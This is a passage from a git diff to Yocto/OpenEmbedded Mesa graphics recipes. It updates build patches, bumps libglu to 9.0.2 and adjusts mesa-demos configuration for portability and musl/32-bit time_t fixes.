-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- src/intel/vulkan/meson.build | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/src/intel/vulkan/meson.build b/src/intel/vulkan/meson.build
-index 36e1689314e..b713d8eade3 100644
---- a/src/intel/vulkan/meson.build
-+++ b/src/intel/vulkan/meson.build
-@@ -131,6 +131,7 @@ libanv_files = files(
- anv_deps = [
- dep_libdrm,
- dep_valgrind,
-+ idep_genxml,
- idep_nir_headers,
- idep_vulkan_util_headers,
- ]
---
-2.29.0
-
diff --git a/meta/recipes-graphics/mesa/files/0001-meson-Add-xcb-fixes-to-loader-when-using-x11-and-dri.patch b/meta/recipes-graphics/mesa/files/0001-meson-Add-xcb-fixes-to-loader-when-using-x11-and-dri.patch
deleted file mode 100644
index 9ee72880a2..0000000000
--- a/meta/recipes-graphics/mesa/files/0001-meson-Add-xcb-fixes-to-loader-when-using-x11-and-dri.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From cf17d6251653f4a98e7c4f904ea2f0bc0ecedd5c Mon Sep 17 00:00:00 2001
-From: Duncan Hopkins <duncan@duncanhopkins.me.uk>
-Date: Thu, 15 Oct 2020 12:14:57 +0100
-Subject: [PATCH] meson: Add xcb-fixes to loader when using x11 and dri3. Fixes
- undefined symbol for xcb_xfixes_create_region in loader_dri3_helper.c
-
-loader_dr3_helper.c uses xcb_xfixes_create_region() that requires dep_xcb_xfixes to link. This is dependent on with_platform_x11 and with_dri3.
-But the source meson file does not set this up dependent on with_dri3.
-The build was initialsed using platforms=x11 and gallium-drivers=zink,swrast.
-
-Reviewed-by: Eric Anholt <eric@anholt.net>
-Part-of: <https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/7164>
-
-Upstream-Status: Backport [cf17d6251653f4a98e7c4f904ea2f0bc0ecedd5c]
-
----
- meson.build | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/meson.build b/meson.build
-index cfe02fa6373..3cb3c904927 100644
---- a/meson.build
-+++ b/meson.build
-@@ -1782,7 +1782,8 @@ if with_platform_x11
- dep_xxf86vm = dependency('xxf86vm')
- endif
- endif
-- if (with_egl or (
-+ if (with_egl or
-+ with_dri3 or (
- with_gallium_vdpau or with_gallium_xvmc or with_gallium_xa or
- with_gallium_omx != 'disabled'))
- dep_xcb_xfixes = dependency('xcb-xfixes')
---
-2.17.1
-
diff --git a/meta/recipes-graphics/mesa/files/0001-meson.build-check-for-all-linux-host_os-combinations.patch b/meta/recipes-graphics/mesa/files/0001-meson.build-check-for-all-linux-host_os-combinations.patch
index 085254323c..b6f86743e1 100644
--- a/meta/recipes-graphics/mesa/files/0001-meson.build-check-for-all-linux-host_os-combinations.patch
+++ b/meta/recipes-graphics/mesa/files/0001-meson.build-check-for-all-linux-host_os-combinations.patch
@@ -1,4 +1,4 @@
-From 0d9ed002eff176b902da266d89829a9b0cb10946 Mon Sep 17 00:00:00 2001
+From 38e984073e4c23b6278d1a2ff21e894fda7b93c5 Mon Sep 17 00:00:00 2001
From: Alistair Francis <alistair@alistair23.me>
Date: Thu, 14 Nov 2019 13:04:49 -0800
Subject: [PATCH] meson.build: check for all linux host_os combinations
@@ -20,10 +20,10 @@ Signed-off-by: Alistair Francis <alistair@alistair23.me>
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/meson.build b/meson.build
-index 898d025..09e3759 100644
+index 932eb13..efc6171 100644
--- a/meson.build
+++ b/meson.build
-@@ -124,7 +124,7 @@ with_any_opengl = with_opengl or with_gles1 or with_gles2
+@@ -153,7 +153,7 @@ with_any_opengl = with_opengl or with_gles1 or with_gles2
# Only build shared_glapi if at least one OpenGL API is enabled
with_shared_glapi = with_shared_glapi and with_any_opengl
@@ -32,12 +32,12 @@ index 898d025..09e3759 100644
dri_drivers = get_option('dri-drivers')
if dri_drivers.contains('auto')
-@@ -884,7 +884,7 @@ if cc.compiles('__uint128_t foo(void) { return 0; }',
+@@ -970,7 +970,7 @@ if cc.compiles('__uint128_t foo(void) { return 0; }',
endif
# TODO: this is very incomplete
--if ['linux', 'cygwin', 'gnu', 'freebsd', 'gnu/kfreebsd'].contains(host_machine.system())
-+if ['cygwin', 'gnu', 'gnu/kfreebsd'].contains(host_machine.system()) or host_machine.system().startswith('linux')
+-if ['linux', 'cygwin', 'gnu', 'freebsd', 'gnu/kfreebsd', 'haiku'].contains(host_machine.system())
++if ['linux', 'cygwin', 'gnu', 'freebsd', 'gnu/kfreebsd', 'haiku'].contains(host_machine.system()) or host_machine.system().startswith('linux')
pre_args += '-D_GNU_SOURCE'
elif host_machine.system() == 'sunos'
pre_args += '-D__EXTENSIONS__'
diff --git a/meta/recipes-graphics/mesa/files/0001-util-format-Check-for-NEON-before-using-it.patch b/meta/recipes-graphics/mesa/files/0001-util-format-Check-for-NEON-before-using-it.patch
new file mode 100644
index 0000000000..80b9af08e8
--- /dev/null
+++ b/meta/recipes-graphics/mesa/files/0001-util-format-Check-for-NEON-before-using-it.patch
@@ -0,0 +1,49 @@
+From 4febda271c6bb0dc69ebf573446c6922a1ec35fb Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 2 Dec 2021 19:57:42 -0800
+Subject: [PATCH] util/format: Check for NEON before using it
+
+This fixes build on rpi0-w and any other machine which does not have
+neon unit and is not used as FPU unit
+
+Fixes errors e.g.
+
+In file included from ../mesa-21.3.0/src/util/format/u_format_unpack_neon.c:35:
+/mnt/b/yoe/master/build/tmp/work/arm1176jzfshf-vfp-yoe-linux-gnueabi/mesa/2_21.3.0-r0/recipe-sysroot-native/usr/lib/clang/13.0.1/include/arm_neon.h:32:2: error: "NEON support not enabled"
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/14032]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/util/format/u_format.c | 2 +-
+ src/util/format/u_format_unpack_neon.c | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/util/format/u_format.c b/src/util/format/u_format.c
+index 36c5e52008e..f0a00971691 100644
+--- a/src/util/format/u_format.c
++++ b/src/util/format/u_format.c
+@@ -1138,7 +1138,7 @@ static void
+ util_format_unpack_table_init(void)
+ {
+ for (enum pipe_format format = PIPE_FORMAT_NONE; format < PIPE_FORMAT_COUNT; format++) {
+-#if (defined(PIPE_ARCH_AARCH64) || defined(PIPE_ARCH_ARM)) && !defined(NO_FORMAT_ASM) && !defined(__SOFTFP__)
++#if (defined(PIPE_ARCH_AARCH64) || (defined(__ARM_NEON) && defined(PIPE_ARCH_ARM))) && !defined(NO_FORMAT_ASM)
+ const struct util_format_unpack_description *unpack = util_format_unpack_description_neon(format);
+ if (unpack) {
+ util_format_unpack_table[format] = unpack;
+diff --git a/src/util/format/u_format_unpack_neon.c b/src/util/format/u_format_unpack_neon.c
+index a4a5cb1f723..1e4f794a295 100644
+--- a/src/util/format/u_format_unpack_neon.c
++++ b/src/util/format/u_format_unpack_neon.c
+@@ -23,7 +23,7 @@
+
+ #include <u_format.h>
+
+-#if (defined(PIPE_ARCH_AARCH64) || defined(PIPE_ARCH_ARM)) && !defined(NO_FORMAT_ASM) && !defined(__SOFTFP__)
++#if (defined(PIPE_ARCH_AARCH64) || (defined(__ARM_NEON) && defined(PIPE_ARCH_ARM))) && !defined(NO_FORMAT_ASM)
+
+ /* armhf builds default to vfp, not neon, and refuses to compile neon intrinsics
+ * unless you tell it "no really".
+--
+2.34.1
+
diff --git a/meta/recipes-graphics/mesa/files/0001-v3dv-account-for-64bit-time_t-on-32bit-arches.patch b/meta/recipes-graphics/mesa/files/0001-v3dv-account-for-64bit-time_t-on-32bit-arches.patch
new file mode 100644
index 0000000000..e87d7d7311
--- /dev/null
+++ b/meta/recipes-graphics/mesa/files/0001-v3dv-account-for-64bit-time_t-on-32bit-arches.patch
@@ -0,0 +1,41 @@
+From e2e2fe86dd61b6fae682a1fec31bd0755ced5cd5 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 7 Dec 2021 11:13:27 -0800
+Subject: [PATCH] v3dv: account for 64bit time_t on 32bit arches
+
+This makes is a bit more portable, especially on 32bit architectures
+with 64bit time_t defaults. Especially on musl its a must.
+
+Fixes
+../mesa-21.3.0/src/broadcom/vulkan/v3dv_bo.c:71:15: error: format specifies type 'long' but the argument has type 'time_t' (aka 'long long') [-Werror,-Wformat]
+ time.tv_sec);
+ ^~~~~~~~~~~
+
+Also reported here [1]
+
+[1] https://github.com/agherzan/meta-raspberrypi/issues/969
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/14118]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/broadcom/vulkan/v3dv_bo.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/broadcom/vulkan/v3dv_bo.c b/src/broadcom/vulkan/v3dv_bo.c
+index 71679ce..dc5e7f5 100644
+--- a/src/broadcom/vulkan/v3dv_bo.c
++++ b/src/broadcom/vulkan/v3dv_bo.c
+@@ -67,8 +67,8 @@ bo_dump_stats(struct v3dv_device *device)
+
+ struct timespec time;
+ clock_gettime(CLOCK_MONOTONIC, &time);
+- fprintf(stderr, " now: %ld\n",
+- time.tv_sec);
++ fprintf(stderr, " now: %lld\n",
++ (long long)time.tv_sec);
+ }
+
+ if (cache->size_list_size) {
+--
+2.34.1
+
diff --git a/meta/recipes-graphics/mesa/files/0002-meson.build-make-TLS-ELF-optional.patch b/meta/recipes-graphics/mesa/files/0002-meson.build-make-TLS-ELF-optional.patch
index 74f7fe5c2d..35ab8d5a72 100644
--- a/meta/recipes-graphics/mesa/files/0002-meson.build-make-TLS-ELF-optional.patch
+++ b/meta/recipes-graphics/mesa/files/0002-meson.build-make-TLS-ELF-optional.patch
@@ -1,4 +1,4 @@
-From ce57ce220d9c377beabf4914f33c43118f672ffe Mon Sep 17 00:00:00 2001
+From 8f2f48b41aa17eec3c4d63685e3296f28e60b980 Mon Sep 17 00:00:00 2001
From: Alistair Francis <alistair@alistair23.me>
Date: Thu, 14 Nov 2019 13:08:31 -0800
Subject: [PATCH] meson.build: make TLS ELF optional
@@ -6,6 +6,21 @@ Subject: [PATCH] meson.build: make TLS ELF optional
USE_ELF_TLS has replaced GLX_USE_TLS so this patch is the original "make
TLS GLX optional again" patch updated to the latest mesa.
+For details, see:
+https://gitlab.freedesktop.org/mesa/mesa/-/issues/966
+
+This prevents runtime segfault on musl:
+
+Traceback (most recent call last):
+ File "/home/pokybuild/yocto-worker/musl-qemux86/build/meta/lib/oeqa/core/decorator/__init__.py", line 36, in wrapped_f
+ return func(*args, **kwargs)
+ File "/home/pokybuild/yocto-worker/musl-qemux86/build/meta/lib/oeqa/runtime/cases/parselogs.py", line 378, in test_parselogs
+ self.assertEqual(errcount, 0, msg=self.msg)
+AssertionError: 1 != 0 : Log: /home/pokybuild/yocto-worker/musl-qemux86/build/build/tmp/work/qemux86-poky-linux-musl/core-image-sato-sdk/1.0-r0/target_logs/Xorg.0.log
+-----------------------
+Central error: [ 10.477] (EE) Failed to load /usr/lib/xorg/modules/extensions/libglx.so: Error relocating /usr/lib/libGL.so.1: alphasort: initial-exec TLS resolves to dynamic definition in /usr/lib/libGL.so.1
+***********************
+
Upstream-Status: Inappropriate [configuration]
Signed-off-by: Alistair Francis <alistair@alistair23.me>
@@ -15,23 +30,23 @@ Signed-off-by: Alistair Francis <alistair@alistair23.me>
2 files changed, 7 insertions(+), 1 deletion(-)
diff --git a/meson.build b/meson.build
-index c5136ea..185270d 100644
+index 23618c1..c8cc5e3 100644
--- a/meson.build
+++ b/meson.build
-@@ -424,7 +424,7 @@ endif
-
- # Android uses emutls for versions <= P/28. For USE_ELF_TLS we need ELF TLS.
+@@ -476,7 +476,7 @@ endif
use_elf_tls = false
--if not ['windows', 'freebsd', 'openbsd'].contains(host_machine.system()) and (not with_platform_android or get_option('platform-sdk-version') >= 29)
-+if not ['windows', 'freebsd', 'openbsd'].contains(host_machine.system()) and (not with_platform_android or get_option('platform-sdk-version') >= 29) and get_option('elf-tls')
+ if (not ['freebsd', 'openbsd', 'haiku'].contains(host_machine.system()) and
+ (not with_platform_android or get_option('platform-sdk-version') >= 29) and
+- (not with_platform_windows or not with_shared_glapi))
++ (not with_platform_windows or not with_shared_glapi) and get_option('elf-tls'))
pre_args += '-DUSE_ELF_TLS'
use_elf_tls = true
- endif
+
diff --git a/meson_options.txt b/meson_options.txt
-index 2d39d13..72006eb 100644
+index 29c402c..f70d9b2 100644
--- a/meson_options.txt
+++ b/meson_options.txt
-@@ -368,6 +368,12 @@ option(
+@@ -455,6 +455,12 @@ option(
value : true,
description : 'Enable direct rendering in GLX and EGL for DRI',
)
diff --git a/meta/recipes-graphics/mesa/files/0004-Revert-mesa-Enable-asm-unconditionally-now-that-gen_.patch b/meta/recipes-graphics/mesa/files/0004-Revert-mesa-Enable-asm-unconditionally-now-that-gen_.patch
deleted file mode 100644
index 833742359f..0000000000
--- a/meta/recipes-graphics/mesa/files/0004-Revert-mesa-Enable-asm-unconditionally-now-that-gen_.patch
+++ /dev/null
@@ -1,147 +0,0 @@
-From 43d9e40db7357f27e91002b2bb7688b6775ebb43 Mon Sep 17 00:00:00 2001
-From: Alistair Francis <alistair@alistair23.me>
-Date: Thu, 14 Nov 2019 09:06:02 -0800
-Subject: [PATCH] Revert "mesa: Enable asm unconditionally, now that
- gen_matypes is gone."
-
-This reverts commit 20294dceebc23236e33b22578245f7e6f41b6997.
-
-Upstream-Status: Inappropriate [configuration]
-Signed-off-by: Alistair Francis <alistair@alistair23.me>
-
----
- meson.build | 94 ++++++++++++++++++++++++++++++-----------------
- meson_options.txt | 6 +++
- 2 files changed, 67 insertions(+), 33 deletions(-)
-
-diff --git a/meson.build b/meson.build
-index e7dc599..e2fc934 100644
---- a/meson.build
-+++ b/meson.build
-@@ -52,6 +52,7 @@ pre_args = [
- with_vulkan_icd_dir = get_option('vulkan-icd-dir')
- with_tests = get_option('build-tests')
- with_aco_tests = get_option('build-aco-tests')
-+with_asm = get_option('asm')
- with_glx_read_only_text = get_option('glx-read-only-text')
- with_glx_direct = get_option('glx-direct')
- with_osmesa = get_option('osmesa')
-@@ -1154,41 +1155,68 @@ dep_ws2_32 = cc.find_library('ws2_32', required : with_platform_windows)
-
- # TODO: shared/static? Is this even worth doing?
-
-+# When cross compiling we generally need to turn off the use of assembly,
-+# because mesa's assembly relies on building an executable for the host system,
-+# and running it to get information about struct sizes. There is at least one
-+# case of cross compiling where we can use asm, and that's x86_64 -> x86 when
-+# host OS == build OS, since in that case the build machine can run the host's
-+# binaries.
-+if with_asm and meson.is_cross_build()
-+ if build_machine.system() != host_machine.system()
-+ # TODO: It may be possible to do this with an exe_wrapper (like wine).
-+ message('Cross compiling from one OS to another, disabling assembly.')
-+ with_asm = false
-+ elif not (build_machine.cpu_family().startswith('x86') and host_machine.cpu_family() == 'x86')
-+ # FIXME: Gentoo always sets -m32 for x86_64 -> x86 builds, resulting in an
-+ # x86 -> x86 cross compile. We use startswith rather than == to handle this
-+ # case.
-+ # TODO: There may be other cases where the 64 bit version of the
-+ # architecture can run 32 bit binaries (aarch64 and armv7 for example)
-+ message('''
-+ Cross compiling to different architectures, and the host cannot run
-+ the build machine's binaries. Disabling assembly.
-+ ''')
-+ with_asm = false
-+ endif
-+endif
-+
- with_asm_arch = ''
--if host_machine.cpu_family() == 'x86'
-- if system_has_kms_drm or host_machine.system() == 'gnu'
-- with_asm_arch = 'x86'
-- pre_args += ['-DUSE_X86_ASM', '-DUSE_MMX_ASM', '-DUSE_3DNOW_ASM',
-- '-DUSE_SSE_ASM']
--
-- if with_glx_read_only_text
-- pre_args += ['-DGLX_X86_READONLY_TEXT']
-+if with_asm
-+ if host_machine.cpu_family() == 'x86'
-+ if system_has_kms_drm or host_machine.system() == 'gnu'
-+ with_asm_arch = 'x86'
-+ pre_args += ['-DUSE_X86_ASM', '-DUSE_MMX_ASM', '-DUSE_3DNOW_ASM',
-+ '-DUSE_SSE_ASM']
-+
-+ if with_glx_read_only_text
-+ pre_args += ['-DGLX_X86_READONLY_TEXT']
-+ endif
-+ endif
-+ elif host_machine.cpu_family() == 'x86_64'
-+ if system_has_kms_drm
-+ with_asm_arch = 'x86_64'
-+ pre_args += ['-DUSE_X86_64_ASM']
-+ endif
-+ elif host_machine.cpu_family() == 'arm'
-+ if system_has_kms_drm
-+ with_asm_arch = 'arm'
-+ pre_args += ['-DUSE_ARM_ASM']
-+ endif
-+ elif host_machine.cpu_family() == 'aarch64'
-+ if system_has_kms_drm
-+ with_asm_arch = 'aarch64'
-+ pre_args += ['-DUSE_AARCH64_ASM']
-+ endif
-+ elif host_machine.cpu_family() == 'sparc64'
-+ if system_has_kms_drm
-+ with_asm_arch = 'sparc'
-+ pre_args += ['-DUSE_SPARC_ASM']
-+ endif
-+ elif host_machine.cpu_family().startswith('ppc64') and host_machine.endian() == 'little'
-+ if system_has_kms_drm
-+ with_asm_arch = 'ppc64le'
-+ pre_args += ['-DUSE_PPC64LE_ASM']
- endif
-- endif
--elif host_machine.cpu_family() == 'x86_64'
-- if system_has_kms_drm
-- with_asm_arch = 'x86_64'
-- pre_args += ['-DUSE_X86_64_ASM']
-- endif
--elif host_machine.cpu_family() == 'arm'
-- if system_has_kms_drm
-- with_asm_arch = 'arm'
-- pre_args += ['-DUSE_ARM_ASM']
-- endif
--elif host_machine.cpu_family() == 'aarch64'
-- if system_has_kms_drm
-- with_asm_arch = 'aarch64'
-- pre_args += ['-DUSE_AARCH64_ASM']
-- endif
--elif host_machine.cpu_family() == 'sparc64'
-- if system_has_kms_drm
-- with_asm_arch = 'sparc'
-- pre_args += ['-DUSE_SPARC_ASM']
-- endif
--elif host_machine.cpu_family().startswith('ppc64') and host_machine.endian() == 'little'
-- if system_has_kms_drm
-- with_asm_arch = 'ppc64le'
-- pre_args += ['-DUSE_PPC64LE_ASM']
- endif
- endif
-
-diff --git a/meson_options.txt b/meson_options.txt
-index 147cccb..562b059 100644
---- a/meson_options.txt
-+++ b/meson_options.txt
-@@ -254,6 +254,12 @@ option(
- value : false,
- description : 'Enable GLVND support.'
- )
-+option(
-+ 'asm',
-+ type : 'boolean',
-+ value : true,
-+ description : 'Build assembly code if possible'
-+)
- option(
- 'glx-read-only-text',
- type : 'boolean',
diff --git a/meta/recipes-graphics/mesa/files/0005-vc4-use-intmax_t-for-formatted-output-of-timespec-me.patch b/meta/recipes-graphics/mesa/files/0005-vc4-use-intmax_t-for-formatted-output-of-timespec-me.patch
deleted file mode 100644
index dacb1ea1c8..0000000000
--- a/meta/recipes-graphics/mesa/files/0005-vc4-use-intmax_t-for-formatted-output-of-timespec-me.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From 281a636353666bfdd373c62591e744087e750e89 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 4 Dec 2019 14:15:28 -0800
-Subject: [PATCH] vc4: use intmax_t for formatted output of timespec members
-
-32bit architectures which have 64bit time_t does not fit the assumption
-of time_t being same as system long int
-
-Fixes
-error: format specifies type 'long' but the argument has type 'time_t' (aka 'long long') [-Werror,-Wformat]
- time.tv_sec);
- ^~~~~~~~~~~
-
-Upstream-Status: Submitted [https://gitlab.freedesktop.org/mesa/mesa/merge_requests/2966]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
----
- src/gallium/drivers/v3d/v3d_bufmgr.c | 4 ++--
- src/gallium/drivers/vc4/vc4_bufmgr.c | 4 ++--
- 2 files changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/src/gallium/drivers/v3d/v3d_bufmgr.c b/src/gallium/drivers/v3d/v3d_bufmgr.c
-index 31a0803..cc2e2af 100644
---- a/src/gallium/drivers/v3d/v3d_bufmgr.c
-+++ b/src/gallium/drivers/v3d/v3d_bufmgr.c
-@@ -80,8 +80,8 @@ v3d_bo_dump_stats(struct v3d_screen *screen)
-
- struct timespec time;
- clock_gettime(CLOCK_MONOTONIC, &time);
-- fprintf(stderr, " now: %ld\n",
-- (long)time.tv_sec);
-+ fprintf(stderr, " now: %jd\n",
-+ (intmax_t)time.tv_sec);
- }
- }
-
-diff --git a/src/gallium/drivers/vc4/vc4_bufmgr.c b/src/gallium/drivers/vc4/vc4_bufmgr.c
-index a786e8e..975d49e 100644
---- a/src/gallium/drivers/vc4/vc4_bufmgr.c
-+++ b/src/gallium/drivers/vc4/vc4_bufmgr.c
-@@ -99,8 +99,8 @@ vc4_bo_dump_stats(struct vc4_screen *screen)
-
- struct timespec time;
- clock_gettime(CLOCK_MONOTONIC, &time);
-- fprintf(stderr, " now: %ld\n",
-- (long)time.tv_sec);
-+ fprintf(stderr, " now: %jd\n",
-+ (intmax_t)time.tv_sec);
- }
- }
-
diff --git a/meta/recipes-graphics/mesa/libglu_9.0.1.bb b/meta/recipes-graphics/mesa/libglu_9.0.1.bb
deleted file mode 100644
index 703f131f79..0000000000
--- a/meta/recipes-graphics/mesa/libglu_9.0.1.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "The OpenGL utility toolkit"
-DESCRIPTION = "GLU is a utility toolkit used with OpenGL implementations"
-
-HOMEPAGE = "http://mesa3d.org"
-BUGTRACKER = "https://bugs.freedesktop.org"
-SECTION = "x11"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://include/GL/glu.h;endline=29;md5=6b79c570f644363b356456e7d44471d9 \
- file://src/libtess/tess.c;endline=29;md5=6b79c570f644363b356456e7d44471d9"
-
-# Epoch as this used to be part of mesa
-PE = "2"
-PR = "0"
-
-SRC_URI = "https://mesa.freedesktop.org/archive/glu/glu-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "5599a0e0a97335e10239d9165aced60d"
-SRC_URI[sha256sum] = "f6f484cfcd51e489afe88031afdea1e173aa652697e4c19ddbcb8260579a10f7"
-
-S = "${WORKDIR}/glu-${PV}"
-
-DEPENDS = "virtual/libgl"
-
-inherit autotools pkgconfig features_check
-
-# Requires libGL.so which is provided by mesa when x11 in DISTRO_FEATURES
-REQUIRED_DISTRO_FEATURES = "x11 opengl"
-
-# Remove the mesa-glu dependency in mesa-glu-dev, as mesa-glu is empty
-RDEPENDS_${PN}-dev = ""
diff --git a/meta/recipes-graphics/mesa/libglu_9.0.2.bb b/meta/recipes-graphics/mesa/libglu_9.0.2.bb
new file mode 100644
index 0000000000..64fa82e5a8
--- /dev/null
+++ b/meta/recipes-graphics/mesa/libglu_9.0.2.bb
@@ -0,0 +1,28 @@
+SUMMARY = "The OpenGL utility toolkit"
+DESCRIPTION = "GLU is a utility toolkit used with OpenGL implementations"
+
+HOMEPAGE = "http://mesa3d.org"
+BUGTRACKER = "https://bugs.freedesktop.org"
+SECTION = "x11"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://include/GL/glu.h;endline=29;md5=6b79c570f644363b356456e7d44471d9 \
+ file://src/libtess/tess.c;endline=29;md5=6b79c570f644363b356456e7d44471d9"
+
+# Epoch as this used to be part of mesa
+PE = "2"
+
+SRC_URI = "https://mesa.freedesktop.org/archive/glu/glu-${PV}.tar.gz"
+
+SRC_URI[sha256sum] = "24effdfb952453cc00e275e1c82ca9787506aba0282145fff054498e60e19a65"
+
+S = "${WORKDIR}/glu-${PV}"
+
+DEPENDS = "virtual/libgl"
+
+inherit autotools pkgconfig features_check
+
+# Requires libGL.so which is provided by mesa when x11 in DISTRO_FEATURES
+REQUIRED_DISTRO_FEATURES = "x11 opengl"
+
+# Remove the mesa-glu dependency in mesa-glu-dev, as mesa-glu is empty
+RDEPENDS:${PN}-dev = ""
diff --git a/meta/recipes-graphics/mesa/mesa-demos/0003-configure-Allow-to-disable-demos-which-require-GLEW-.patch b/meta/recipes-graphics/mesa/mesa-demos/0003-configure-Allow-to-disable-demos-which-require-GLEW-.patch
index f6b59a11fe..e31827d4a3 100644
--- a/meta/recipes-graphics/mesa/mesa-demos/0003-configure-Allow-to-disable-demos-which-require-GLEW-.patch
+++ b/meta/recipes-graphics/mesa/mesa-demos/0003-configure-Allow-to-disable-demos-which-require-GLEW-.patch
@@ -6,7 +6,12 @@ Subject: [PATCH] configure: Allow to disable demos which require GLEW or GLU
* in some systems without X11 support we don't have GLEW, but
mesa-demos are still useful
-Upstream-Status: Pending
+This isn't currently appropriate for upstream submission as glew has
+been replaced with glad there; glu situation would need to be re-assesed
+when upstream makes a new release, requested here:
+https://gitlab.freedesktop.org/mesa/demos/-/issues/22
+
+Upstream-Status: Inappropriate [see above]
Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
diff --git a/meta/recipes-graphics/mesa/mesa-demos/0013-only-build-GLX-demos-if-needed.patch b/meta/recipes-graphics/mesa/mesa-demos/0013-only-build-GLX-demos-if-needed.patch
deleted file mode 100644
index e7be4dfbe1..0000000000
--- a/meta/recipes-graphics/mesa/mesa-demos/0013-only-build-GLX-demos-if-needed.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From 322af294390a7f4e1524c5a79312be6cbebce988 Mon Sep 17 00:00:00 2001
-From: Awais Belal <awais_belal@mentor.com>
-Date: Wed, 11 Nov 2015 17:22:12 +0500
-Subject: [PATCH] only build GLX demos if needed
-
-There are platforms that default to EGL only configurations
-in which case the GLX applications are not required
-at all. Allow the user to control generation of these
-demos as needed through a configure switch.
-
-Signed-off-by: Awais Belal <awais_belal@mentor.com>
-Upstream-Status: Pending
----
- configure.ac | 9 +++++++++
- src/Makefile.am | 6 +++++-
- 2 files changed, 14 insertions(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index f8ec7e3..1a4d96d 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -132,6 +132,11 @@ if test "x$enable_glu" = xyes; then
- DEMO_LIBS="$DEMO_LIBS $GLU_LIBS"
- fi
-
-+AC_ARG_ENABLE([glx-demos],
-+ [AS_HELP_STRING([--enable-glx-demos],
-+ [enable GLX demos @<:@default=auto@:>@])],
-+ [glx_demos_enabled="$enableval"],
-+ [glx_demos_enabled=yes])
- AC_ARG_ENABLE([egl],
- [AS_HELP_STRING([--enable-egl],
- [enable EGL library @<:@default=auto@:>@])],
-@@ -325,6 +333,7 @@ AC_SUBST([WAYLAND_LIBS])
-
- AM_CONDITIONAL(HAVE_GLU, test "x$glu_enabled" = "xyes")
- AM_CONDITIONAL(HAVE_GLEW, test "x$glew_enabled" = "xyes")
-+AM_CONDITIONAL(HAVE_GLX, test "x$glx_demos_enabled" = "xyes")
- AM_CONDITIONAL(HAVE_EGL, test "x$egl_enabled" = "xyes")
- AM_CONDITIONAL(HAVE_GLESV1, test "x$glesv1_enabled" = "xyes")
- AM_CONDITIONAL(HAVE_GLESV2, test "x$glesv2_enabled" = "xyes")
-diff --git a/src/Makefile.am b/src/Makefile.am
-index 8b89dee..a4d7e8f 100644
---- a/src/Makefile.am
-+++ b/src/Makefile.am
-@@ -44,8 +44,12 @@ SUBDIRS = \
- slang \
- tests \
- tools \
-- wgl \
-+ wgl
-+
-+if HAVE_GLX
-+SUBDIRS += \
- xdemos
-+endif
-
- if HAVE_GLEW
- SUBDIRS += \
---
-1.9.1
-
diff --git a/meta/recipes-graphics/mesa/mesa-demos_8.4.0.bb b/meta/recipes-graphics/mesa/mesa-demos_8.4.0.bb
index 38bdbded29..01e5b35d0e 100644
--- a/meta/recipes-graphics/mesa/mesa-demos_8.4.0.bb
+++ b/meta/recipes-graphics/mesa/mesa-demos_8.4.0.bb
@@ -17,7 +17,6 @@ SRC_URI = "https://mesa.freedesktop.org/archive/demos/${BPN}-${PV}.tar.bz2 \
file://0008-glsl-perf-Add-few-missing-.glsl-.vert-.frag-files-to.patch \
file://0009-glsl-perf-Install-.glsl-.vert-.frag-files.patch \
file://0012-mesa-demos-OpenVG-demos-with-single-frame-need-eglSw.patch \
- file://0013-only-build-GLX-demos-if-needed.patch \
"
SRC_URI[md5sum] = "6b65a02622765522176d00f553086fa3"
SRC_URI[sha256sum] = "01e99c94a0184e63e796728af89bfac559795fb2a0d6f506fa900455ca5fff7d"
@@ -27,7 +26,7 @@ inherit autotools pkgconfig features_check
REQUIRED_DISTRO_FEATURES = "opengl x11"
PACKAGECONFIG ?= "drm osmesa freetype2 gbm egl gles1 gles2 \
- x11 glew glu glx"
+ x11 glew glu"
# The Wayland code doesn't work with Wayland 1.0, so disable it for now
#${@bb.utils.filter('DISTRO_FEATURES', 'wayland', d)}"
@@ -47,9 +46,8 @@ PACKAGECONFIG[wayland] = "--enable-wayland,--disable-wayland,virtual/libgl wayla
PACKAGECONFIG[x11] = "--enable-x11,--disable-x11,virtual/libx11"
PACKAGECONFIG[glew] = "--enable-glew,--disable-glew,glew"
PACKAGECONFIG[glu] = "--enable-glu,--disable-glu,virtual/libgl"
-PACKAGECONFIG[glx] = "--enable-glx-demos,--disable-glx-demos"
-do_install_append() {
+do_install:append() {
# it can be completely empty when all PACKAGECONFIG options are disabled
rmdir --ignore-fail-on-non-empty ${D}${bindir}
diff --git a/meta/recipes-graphics/mesa/mesa-gl_20.2.1.bb b/meta/recipes-graphics/mesa/mesa-gl_20.2.1.bb
deleted file mode 100644
index e50782be1c..0000000000
--- a/meta/recipes-graphics/mesa/mesa-gl_20.2.1.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-require mesa.inc
-
-SUMMARY += " (OpenGL only, no EGL/GLES)"
-
-PROVIDES = "virtual/libgl virtual/mesa"
-
-S = "${WORKDIR}/mesa-${PV}"
-
-# At least one DRI rendering engine is required to build mesa.
-# When no X11 is available, use osmesa for the rendering engine.
